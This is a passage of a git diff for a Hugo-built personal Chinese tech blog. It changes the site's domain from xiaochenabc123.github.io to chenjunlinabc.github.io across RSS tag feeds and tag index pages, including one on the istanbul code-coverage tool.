       <pubDate>Fri, 02 Jul 2021 18:12:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/%E6%AD%A3%E5%88%99%E8%A1%A8%E8%BE%BE%E5%BC%8F/</guid>
       <description></description>
     </item>
     
     <item>
       <title>Sass</title>
-      <link>https://xiaochenabc123.github.io/tags/sass/</link>
+      <link>https://chenjunlinabc.github.io/tags/sass/</link>
       <pubDate>Fri, 02 Jul 2021 08:44:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/sass/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/sass/</guid>
       <description></description>
     </item>
     
     <item>
       <title>Less</title>
-      <link>https://xiaochenabc123.github.io/tags/less/</link>
+      <link>https://chenjunlinabc.github.io/tags/less/</link>
       <pubDate>Thu, 01 Jul 2021 15:31:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/less/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/less/</guid>
       <description></description>
     </item>
     
     <item>
       <title>微信小程序</title>
-      <link>https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</link>
+      <link>https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</link>
       <pubDate>Sun, 27 Jun 2021 12:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/</guid>
       <description></description>
     </item>
     
     <item>
       <title>webpack</title>
-      <link>https://xiaochenabc123.github.io/tags/webpack/</link>
+      <link>https://chenjunlinabc.github.io/tags/webpack/</link>
       <pubDate>Thu, 24 Jun 2021 10:11:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/webpack/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/webpack/</guid>
       <description></description>
     </item>
     
     <item>
       <title>进制转换</title>
-      <link>https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</link>
+      <link>https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</link>
       <pubDate>Sun, 20 Jun 2021 20:07:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/%E8%BF%9B%E5%88%B6%E8%BD%AC%E6%8D%A2/</guid>
       <description></description>
     </item>
     
     <item>
       <title>Yarn</title>
-      <link>https://xiaochenabc123.github.io/tags/yarn/</link>
+      <link>https://chenjunlinabc.github.io/tags/yarn/</link>
       <pubDate>Wed, 16 Jun 2021 22:55:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/yarn/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/yarn/</guid>
       <description></description>
     </item>
     
     <item>
       <title>wsl</title>
-      <link>https://xiaochenabc123.github.io/tags/wsl/</link>
+      <link>https://chenjunlinabc.github.io/tags/wsl/</link>
       <pubDate>Wed, 16 Jun 2021 17:43:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/wsl/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/wsl/</guid>
       <description></description>
     </item>
     
     <item>
       <title>server</title>
-      <link>https://xiaochenabc123.github.io/tags/server/</link>
+      <link>https://chenjunlinabc.github.io/tags/server/</link>
       <pubDate>Wed, 16 Jun 2021 15:52:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/server/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/server/</guid>
       <description></description>
     </item>
     
     <item>
       <title>Linux</title>
-      <link>https://xiaochenabc123.github.io/tags/linux/</link>
+      <link>https://chenjunlinabc.github.io/tags/linux/</link>
       <pubDate>Wed, 16 Jun 2021 14:48:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/linux/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/linux/</guid>
       <description></description>
     </item>
     
     <item>
       <title>hexo</title>
-      <link>https://xiaochenabc123.github.io/tags/hexo/</link>
+      <link>https://chenjunlinabc.github.io/tags/hexo/</link>
       <pubDate>Wed, 16 Jun 2021 14:36:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/hexo/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/hexo/</guid>
       <description></description>
     </item>
     
     <item>
       <title>html</title>
-      <link>https://xiaochenabc123.github.io/tags/html/</link>
+      <link>https://chenjunlinabc.github.io/tags/html/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/html/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/html/</guid>
       <description></description>
     </item>
     
     <item>
       <title>jQuery</title>
-      <link>https://xiaochenabc123.github.io/tags/jquery/</link>
+      <link>https://chenjunlinabc.github.io/tags/jquery/</link>
       <pubDate>Wed, 16 Jun 2021 09:38:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/jquery/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/jquery/</guid>
       <description></description>
     </item>
     
     <item>
       <title>java</title>
-      <link>https://xiaochenabc123.github.io/tags/java/</link>
+      <link>https://chenjunlinabc.github.io/tags/java/</link>
       <pubDate>Wed, 16 Jun 2021 09:35:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/java/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/java/</guid>
       <description></description>
     </item>
     
     <item>
       <title>docker</title>
-      <link>https://xiaochenabc123.github.io/tags/docker/</link>
+      <link>https://chenjunlinabc.github.io/tags/docker/</link>
       <pubDate>Wed, 16 Jun 2021 09:34:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/docker/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/docker/</guid>
       <description></description>
     </item>
     
     <item>
       <title>xml</title>
-      <link>https://xiaochenabc123.github.io/tags/xml/</link>
+      <link>https://chenjunlinabc.github.io/tags/xml/</link>
       <pubDate>Wed, 16 Jun 2021 09:32:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/xml/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/xml/</guid>
       <description></description>
     </item>
     
     <item>
       <title>区块链</title>
-      <link>https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</link>
+      <link>https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</link>
       <pubDate>Wed, 16 Jun 2021 09:27:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/%E5%8C%BA%E5%9D%97%E9%93%BE/</guid>
       <description></description>
     </item>
     
     <item>
       <title>Vim</title>
-      <link>https://xiaochenabc123.github.io/tags/vim/</link>
+      <link>https://chenjunlinabc.github.io/tags/vim/</link>
       <pubDate>Sun, 28 Mar 2021 12:00:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/vim/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/vim/</guid>
       <description></description>
     </item>
     
     <item>
       <title>SEO</title>
-      <link>https://xiaochenabc123.github.io/tags/seo/</link>
+      <link>https://chenjunlinabc.github.io/tags/seo/</link>
       <pubDate>Sat, 20 Mar 2021 11:50:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/tags/seo/</guid>
+      <guid>https://chenjunlinabc.github.io/tags/seo/</guid>
       <description></description>
     </item>
     
diff --git a/tags/istanbul/index.html b/tags/istanbul/index.html
index 2c7772ed..d2d809ed 100644
--- a/tags/istanbul/index.html
+++ b/tags/istanbul/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>istanbul | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/istanbul/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/istanbul/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="istanbul"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/istanbul/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="istanbul"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/tags/>Tags</a></div><h1>istanbul</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
+<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>istanbul | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/tags/istanbul/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/tags/istanbul/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="istanbul"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/tags/istanbul/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="istanbul"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><header class=page-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/tags/>Tags</a></div><h1>istanbul</h1></header><article class="post-entry tag-entry"><header class=entry-header><h2>简单使用istanbul代码覆盖率工具</h2></header><div class=entry-content><p>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
 安装
@@ -8,7 +8,7 @@
 检查程序覆盖率是否达到某个值
 istanbul check-coverage –statement 60 –branch -5 –function 100
 在执行检查测试后，会在目标文件的当前目录下生成个coverage文件夹
-在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://xiaochenabc123.github.io/posts/113/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+在coverage/lcov-report/index.html，可以查看网页版结果</p></div><footer class=entry-footer><span title='2021-09-30 12:22:00 +0000 UTC'>2021-09-30</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用istanbul代码覆盖率工具" href=https://chenjunlinabc.github.io/posts/113/></a></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/tags/istanbul/index.xml b/tags/istanbul/index.xml
index 546290be..0005aed1 100644
--- a/tags/istanbul/index.xml
+++ b/tags/istanbul/index.xml
@@ -2,22 +2,22 @@
 <rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
   <channel>
     <title>istanbul on 小陈的个人博客</title>
-    <link>https://xiaochenabc123.github.io/tags/istanbul/</link>
+    <link>https://chenjunlinabc.github.io/tags/istanbul/</link>
     <description>Recent content in istanbul on 小陈的个人博客</description>
     <image>
       <title>小陈的个人博客</title>
-      <url>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
-      <link>https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
+      <url>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</url>
+      <link>https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E</link>
     </image>
     <generator>Hugo -- gohugo.io</generator>
     <language>zh-cn</language>
-    <lastBuildDate>Thu, 30 Sep 2021 12:22:00 +0000</lastBuildDate><atom:link href="https://xiaochenabc123.github.io/tags/istanbul/index.xml" rel="self" type="application/rss+xml" />
+    <lastBuildDate>Thu, 30 Sep 2021 12:22:00 +0000</lastBuildDate><atom:link href="https://chenjunlinabc.github.io/tags/istanbul/index.xml" rel="self" type="application/rss+xml" />
     <item>
       <title>简单使用istanbul代码覆盖率工具</title>
-      <link>https://xiaochenabc123.github.io/posts/113/</link>
+      <link>https://chenjunlinabc.github.io/posts/113/</link>
       <pubDate>Thu, 30 Sep 2021 12:22:00 +0000</pubDate>
       
-      <guid>https://xiaochenabc123.github.io/posts/113/</guid>
+      <guid>https://chenjunlinabc.github.io/posts/113/</guid>
       <description>代码覆盖率：是否所有代码都被执行或者调用
 每一行，每个函数，每个语句块，每个if分支是否都被执行或者被调用
 istanbul是JavaScript的覆盖率工具（类似工具还有NYC）（可搭配mocha使用）
diff --git a/tags/istanbul/page/1/index.html b/tags/istanbul/page/1/index.html
index c18e2c42..1f812f89 100644
--- a/tags/istanbul/page/1/index.html
+++ b/tags/istanbul/page/1/index.html
@@ -1 +1 @@
-<!doctype html><html lang=zh-cn><head><title>https://xiaochenabc123.github.io/tags/istanbul/</title><link rel=canonical href=https://xiaochenabc123.github.io/tags/istanbul/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://xiaochenabc123.github.io/tags/istanbul/"></head></html>
\ No newline at end of file
+<!doctype html><html lang=zh-cn><head><title>https://chenjunlinabc.github.io/tags/istanbul/</title><link rel=canonical href=https://chenjunlinabc.github.io/tags/istanbul/><meta name=robots content="noindex"><meta charset=utf-8><meta http-equiv=refresh content="0; url=https://chenjunlinabc.github.io/tags/istanbul/"></head></html>
\ No newline at end of file
diff --git a/tags/java/index.html b/tags/java/index.html
index e56a365d..af2c21e9 100644
--- a/tags/java/index.html
+++ b/tags/java/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>java | 小陈的个人博客</title><meta name=keywords content><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/tags/java/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/tags/java/index.xml><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="java"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/tags/java/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="java"><meta name=twitter:description content="小陈的个人博客"></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" 